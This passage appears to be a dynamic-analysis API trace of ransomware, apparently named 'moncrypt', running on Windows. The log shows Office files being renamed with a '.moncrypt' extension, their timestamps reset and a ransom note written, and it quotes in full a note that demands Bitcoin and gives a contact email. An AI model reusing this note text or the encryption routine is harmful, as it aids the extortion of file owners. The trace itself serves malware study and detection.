Controller\\Office32.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@ꠜR企@\x18?T\x18\x8f")) returned 0xffffffff [0048.138] GetLastError () returned 0x2 [0048.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0048.138] GetLastError () returned 0x2 [0048.138] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.138] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.138] GlobalUnlock (hMem=0x44000c) returned 0 [0048.138] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.138] GlobalLock (hMem=0x440004) returned 0x557870 [0048.138] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.138] GlobalUnlock (hMem=0x44000c) returned 0 [0048.138] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.138] GlobalUnlock (hMem=0x440004) returned 0 [0048.138] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.138] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.138] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.138] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a50, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.139] GlobalLock (hMem=0x440004) returned 0x555860 [0048.139] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.139] GlobalUnlock (hMem=0x440004) returned 0 [0048.139] GlobalLock (hMem=0x440004) returned 0x555860 [0048.139] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.139] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.139] GlobalUnlock (hMem=0x440004) returned 0 [0048.139] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.139] GlobalUnlock (hMem=0x44000c) returned 0 [0048.139] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.139] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.139] GlobalUnlock (hMem=0x44000c) returned 0 [0048.139] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.139] GlobalLock (hMem=0x440004) returned 0x557870 [0048.139] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.139] GlobalUnlock (hMem=0x44000c) returned 0 [0048.139] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.139] GlobalUnlock (hMem=0x440004) returned 0 [0048.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.139] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.139] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0048.139] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.139] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.139] GlobalLock (hMem=0x440004) returned 0x555860 [0048.139] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.139] GlobalUnlock (hMem=0x440004) returned 0 [0048.139] GlobalLock (hMem=0x440004) returned 0x555860 [0048.139] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.139] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.139] GlobalUnlock (hMem=0x440004) returned 0 [0048.139] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.140] GlobalUnlock (hMem=0x44000c) returned 0 [0048.140] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.140] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.141] CloseHandle (hObject=0x190) returned 1 [0048.141] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\я")) returned 1 [0048.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 0x54e280 [0048.142] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.142] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.142] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", dwFileAttributes=0x20) returned 1 [0048.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.moncrypt")) returned 1 [0048.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.144] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.144] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x567 [0048.144] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.144] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x567, lpOverlapped=0x0) returned 1 [0048.146] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.146] GlobalLock (hMem=0x440004) returned 0x557870 [0048.146] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.146] GlobalUnlock (hMem=0x44000c) returned 0 [0048.146] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.146] GlobalUnlock (hMem=0x440004) returned 0 [0048.146] GlobalLock (hMem=0x440004) returned 0x555860 [0048.146] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.146] GlobalUnlock (hMem=0x440004) returned 0 [0048.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.156] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.156] CloseHandle (hObject=0x190) returned 1 [0048.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT䱍") returned 34 [0048.157] GlobalLock (hMem=0x440004) returned 0x555860 [0048.157] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.157] GlobalUnlock (hMem=0x440004) returned 0 [0048.157] GlobalLock (hMem=0x440004) returned 0x555860 [0048.157] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.157] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.157] GlobalUnlock (hMem=0x440004) returned 0 [0048.157] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.157] GlobalUnlock (hMem=0x44000c) returned 0 [0048.157] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69a00, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.157] GetLastError () returned 0x2 [0048.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.163] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.163] CloseHandle (hObject=0x190) returned 1 [0048.164] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.164] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.164] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.164] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.164] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.164] GlobalUnlock (hMem=0x44000c) returned 0 [0048.164] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.164] GlobalLock (hMem=0x440004) returned 0x557870 [0048.164] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.164] GlobalUnlock (hMem=0x44000c) returned 0 [0048.164] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.164] GlobalUnlock (hMem=0x440004) returned 0 [0048.164] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.164] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT䱍") returned 34 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", cchWideChar=104, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 104 [0048.165] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XMLX", lpUsedDefaultChar=0x0) returned 4 [0048.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.165] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.165] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.165] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.moncrypt")) returned 1 [0048.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.166] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.166] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x93a [0048.167] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.167] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x93a, lpOverlapped=0x0) returned 1 [0048.168] GlobalLock (hMem=0x440004) returned 0x555860 [0048.168] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.168] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.169] GlobalUnlock (hMem=0x440004) returned 0 [0048.169] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.169] GlobalUnlock (hMem=0x44000c) returned 0 [0048.169] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.169] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.169] GlobalUnlock (hMem=0x44000c) returned 0 [0048.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.179] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.179] CloseHandle (hObject=0x190) returned 1 [0048.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT䱍") returned 34 [0048.180] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.180] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.180] GlobalUnlock (hMem=0x44000c) returned 0 [0048.180] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.180] GlobalLock (hMem=0x440004) returned 0x557870 [0048.180] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.180] GlobalUnlock (hMem=0x44000c) returned 0 [0048.180] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.180] GlobalUnlock (hMem=0x440004) returned 0 [0048.180] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your 